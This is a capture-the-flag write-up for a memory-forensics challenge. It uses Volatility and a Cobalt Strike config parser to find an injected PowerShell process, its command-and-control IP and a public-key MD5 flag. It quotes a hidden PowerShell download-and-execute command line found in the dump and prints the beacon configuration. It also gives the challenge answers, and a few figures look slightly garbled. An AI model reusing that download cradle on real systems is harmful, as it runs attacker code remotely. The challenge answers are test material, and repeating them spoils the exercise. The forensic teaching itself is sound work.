



MissionName

BritishBot

History Background

Claire and Ethan are at the library, looking for the librarian who might have information about the code snippets. Claire asks a bot in the library for information.

Technical High-Level Overview

An obfuscated code is provided to the player. The goal of this challenge is to carry out all the necessary activities to decode a memory dump and get the fingerprint MD5 of the Command and Control.

Short Description

You're going to analyse a memory dump provided by the BOT. Your goal is to find a unique MD5 fingerprint related to a malicious IP address.

Mission Description

You're going to analyse a memory dump provided by the BOT. This time, the bot has prepared an special challenge for you based on malicious communications to other computers. Your goal is to find a unique MD5 fingerprint related to a malicious IP address.

Location

LONDON | BRITISH LIBRARY

Tools

- Volatility 2
- <https://github.com/Sentinel-One/CobaltStrikeParser>

Questions

Which is PID of Windows Defender binary?

- 2200

Which is the malicious IP address?

- 192.168.44.134

Which is the malicious PID?

- 628

Items

1. Identify malicious processes using malfind command on Volatility
2. Check cmdline command on volatility to match the malicious processes.
3. Use any tool which allows to extract C2 configuration.

Write Up

First of all, player has to launch the necessary commando to identify Windows Profile:

```
Volatility Foundation Volatility Framework 2.6.1
INFO : volatility.debug : Determining profile based on KDBG search...
      Suggested Profile(s) : Win10x64_18362
      AS Layer1 : SkipDuplicatesAMD64PagedMemory (Kernel AS)
      AS Layer2 : FileAddressSpace (/mnt/c/THREATIA/C2-M3/Windows 10 x64-bc9fcff0.vmem)
      PAE type : No PAE
      DTB : 0x1ad002L
      KDBG : 0xf8005b23c5e0L
      Number of Processors : 2
      Image Type (Service Pack) : 0
      KPCR for CPU 0 : 0xffffffff8005a137000L
      KPCR for CPU 1 : 0xffffffff8005a137000L
      KUSER_SHARED_DATA : 0xffffffff78000000000L
```

Figure 1

Once, player knows profile, it's essential to check if profile works:

vol.py -f memory --profile=Win10x64_18362 pslist

```
(root@ RECON)-[/home/recon/volatility/volatility3]
# python3 vol.py -f /mnt/c/Users/RECON/Desktop/Memory_BritishBot windows.pslist.PsList
Volatility 3 Framework 1.0.1
Progress: 100.00 PDB scanning finished
file output
```

PID	PPID	ImageFileName	Offset(V)	Threads	Handles	SessionId	Wow64	CreateTime	ExitTime	F
4	0	System	0xd58635c84380 115	-	N/A	False	2021-06-19 17:19:24.000000	N/A	Disabled	
88	4	Registry	0xd58635cdb080	4	-	N/A	False	2021-06-19 17:19:17.000000	N/A	D
312	4	smss.exe	0xd58637649040	2	-	N/A	False	2021-06-19 17:19:24.000000	N/A	D
392	384	csrss.exe	0xd586376db140	10	-	0	False	2021-06-19 17:19:25.000000	N/A	D
468	384	wininit.exe	0xd58637877080	1	-	0	False	2021-06-19 17:19:25.000000	N/A	D
484	460	csrss.exe	0xd5863787e080	12	-	1	False	2021-06-19 17:19:25.000000	N/A	D
564	460	winlogon.exe	0xd586378c0080	5	-	1	False	2021-06-19 17:19:25.000000	N/A	D
604	468	services.exe	0xd586378d4080	8	-	0	False	2021-06-19 17:19:25.000000	N/A	D
616	468	lsass.exe	0xd58639b06080	6	-	0	False	2021-06-19 17:19:25.000000	N/A	D
724	564	fontdrvhost.ex	0xd58639b54140	5	-	1	False	2021-06-19 17:19:25.000000	N/A	D

Figure 2

Maybe, the player could launch a command to identify open sockets:

vol.py -f memory --profile=Win10x64_18362 netstat

Offset(P)	Proto	Local Address	Foreign Address	State	Pid	Owner
0xd58635f5fc30	UDPv4	192.168.44.135:68	*:*		680	svchost.exe
0xd58635f60020	UDPv4	0.0.0.0:53258	*:*		1368	svchost.exe
0xd58635f60020	UDPv6	:::53258	*:*		1368	svchost.exe
0xd58635f60800	UDPv4	0.0.0.0:64273	*:*		1368	svchost.exe
0xd58635f60800	UDPv6	:::64273	*:*		1368	svchost.exe
0xd58635f61130	UDPv4	0.0.0.0:5355	*:*		1368	svchost.exe
0xd58635f61280	UDPv4	0.0.0.0:5355	*:*		1368	svchost.exe
0xd58635f61280	UDPv6	:::5355	*:*		1368	svchost.exe
0xd58635f61910	UDPv4	0.0.0.0:62084	*:*		1368	svchost.exe
0xd58635f61910	UDPv6	:::62084	*:*		1368	svchost.exe
0xd58637f8d060	UDPv4	0.0.0.0:5355	*:*		1368	svchost.exe
0xd58637f8d060	UDPv6	:::5355	*:*		1368	svchost.exe
0xd58637f8d6f0	UDPv4	0.0.0.0:5353	*:*		1368	svchost.exe
0xd58637f8d990	UDPv4	0.0.0.0:0	*:*		1368	svchost.exe
0xd58637f8d990	UDPv6	:::0	*:*		1368	svchost.exe
0xd58637f8dae0	UDPv4	0.0.0.0:5355	*:*		1368	svchost.exe
0xd58637f8dc30	UDPv6	:::1:55759	*:*		5568	svchost.exe
0xd58637f8e410	UDPv4	0.0.0.0:5353	*:*		1368	svchost.exe
0xd58637f8e410	UDPv6	:::5353	*:*		1368	svchost.exe
0xd58637f8e560	UDPv4	0.0.0.0:0	*:*		680	svchost.exe
0xd58637f8e560	UDPv6	:::0	*:*		680	svchost.exe
0xd58637f8e6b0	UDPv4	0.0.0.0:51964	*:*		1368	svchost.exe
0xd58637f8e6b0	UDPv6	:::51964	*:*		1368	svchost.exe
0xd58637f8f130	UDPv6	fe80::a499:9e6a:601f:eba2:1900	*:*		5568	svchost.exe
0xd58637f8f280	UDPv4	127.0.0.1:1900	*:*		5568	svchost.exe
0xd58637f8f520	UDPv6	:::1:1900	*:*		5568	svchost.exe

Figure 3

Unfortunately there is no evidence to clarify the malicious IP address.

Player should launch "malfind" command to check injected processes:

- vol.py -f memory --profile=Win10x64_18362 malfind

```
Process: powershell.exe Pid: 628 Address: 0x1486e060000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: PrivateMemory: 1, Protection: 6

0x0000001486e060000 4d 5a 41 52 55 48 89 e5 48 81 ec 20 00 00 00 48 MZARUH..H
0x0000001486e060010 8d 1d ea ff ff ff 48 89 df 48 81 c3 88 5f 01 00 .....H..
0x0000001486e060020 ff d3 41 b8 f0 b5 a2 56 68 04 00 00 00 5a 48 89 ..A....Vh
0x0000001486e060030 f9 ff d0 00 00 00 00 00 00 00 00 00 f0 00 00 00 .....

0x0000000006e060000 4d          DEC EBP
0x0000000006e060001 5a          POP EDX
0x0000000006e060002 41          INC ECX
0x0000000006e060003 52          PUSH EDX
0x0000000006e060004 55          PUSH EBP
0x0000000006e060005 48          DEC EAX
0x0000000006e060006 89e5       MOV EBP, ESP
0x0000000006e060008 48          DEC EAX
0x0000000006e060009 81ec20000000 SUB ESP, 0x20
0x0000000006e06000f 48          DEC EAX
0x0000000006e060010 8d1dea ffffffff LEA EBX, [0xfffffffffea]
0x0000000006e060016 48          DEC EAX
0x0000000006e060017 89df       MOV EDI, EBX
0x0000000006e060019 48          DEC EAX
0x0000000006e06001a 81c3885f0100 ADD EBX, 0x15f88
0x0000000006e060020 ffd3       CALL EBX
```

Figure 4

In this step, there are a few processes, but one is Powershell.exe with PID 628.

To certify that powershell has been launched with malicious argument, player must analyse cmdline command:

- vol.py -f memory --profile=Win10x64_18362 cmdline

```
powershell.exe pid: 628
Command line : "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.44.134:80/a'))"
*****
conhost.exe pid: 5832
Command line : \??\C:\Windows\system32\conhost.exe 0x4
*****
```

Figure 5

As we can see above, the command line for powershell is this:

"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.44.134:80/a'))"

To identify if we are a cobalt strike beacon injected on powershell process, player should know a few techniques to identify Cobalt on memory based on strings:

- vol.py -f memory --profile=Win10x64_18362 yarascan --yara-rules="ReflectiveLoader"

```
Owner: Process powershell.exe Pid 628
0x148104a5ec1 52 65 66 6c 65 63 74 69 76 65 4c 6f 61 64 65 72 ReflectiveLoader
0x148104a5ed1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5ee1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5ef1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5f01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5f11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5f21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5f31 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5f41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5f51 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5f61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5f71 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5f81 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5f91 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5fa1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5fb1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
Rule: r1
```

Figure 6

- vol.py -f memory --profile=Win10x64_18362 yarascan --yara-rules="ls -la

"


```
Owner: Process powershell.exe Pid 628
0x148104a5eb2 62 65 61 63 6f 6e 2e 78 36 34 2e 64 6c 6c 00 52 beacon.x64.dll.R
0x148104a5ec2 65 66 6c 65 63 74 69 76 65 4c 6f 61 64 65 72 00 eflectiveLoader.
0x148104a5ed2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5ee2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5ef2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5f02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5f12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5f22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5f32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5f42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5f52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5f62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5f72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5f82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5f92 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x148104a5fa2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
```

Figure 7

```
usage: parse_beacon_config.py [-h] [--json] [--quiet] [--version VERSION] beacon
parse_beacon_config.py: error: argument -h/--help: ignored explicit argument 'lolol'
```

Figure 8

As we have seen above, we are facing a cobalt strike beacon! So next step would be, to extract beacon configuration to identify the MD5 fingerprint of the public key:

- <https://github.com/Sentinel-One/CobaltStrikeParser>
- python3 parse_beacon_config.py --version 4 memory

```

BeaconType           - HTTP
Port                 - 80
SleepTime            - 60000
MaxGetSize           - 1048576
Jitter               - 0
MaxDNS               - Not Found
PublicKey_MD5        - defb5d95ce99e1ebbf421a1a38d9cb64
C2Server             - 192.168.44.134,/en_US/all.js
UserAgent            - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; BOIE9;ENUS)
HttpPostUri           - /submit.php
Malleable_C2_Instructions - Empty
HttpGet_Metadata     - Metadata
                        base64
                        header "Cookie"
HttpPost_Metadata     - ConstHeaders
                        Content-Type: application/octet-stream
                        SessionId
                        parameter "id"
                        Output
                        print
PipeName             - Not Found
DNS_Idle             - Not Found
DNS_Sleep            - Not Found
SSH_Host             - Not Found
SSH_Port             - Not Found
SSH_Username         - Not Found
SSH_Password_Plaintext - Not Found
SSH_Password_Pubkey  - Not Found
SSH_Banner           -
HttpGet_Verb         - GET
HttpPost_Verb         - POST
HttpPostChunk         - 0
Spawnto_x86          - %windir%\syswow64\rundll32.exe
Spawnto_x64          - %windir%\sysnative\rundll32.exe
CryptoScheme         - 0
Proxy_Config         - Not Found
Proxy_User           - Not Found
Proxy_Password       - Not Found
Proxy_Behavior       - Use IE settings
Watermark            - 1250502225

```

Figure 9

Flag Information

flag{defb5d95ce99e1ebbf421a1a38d9cb64}